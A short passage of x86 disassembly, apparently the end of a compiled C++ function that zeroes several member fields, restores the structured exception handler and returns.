lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4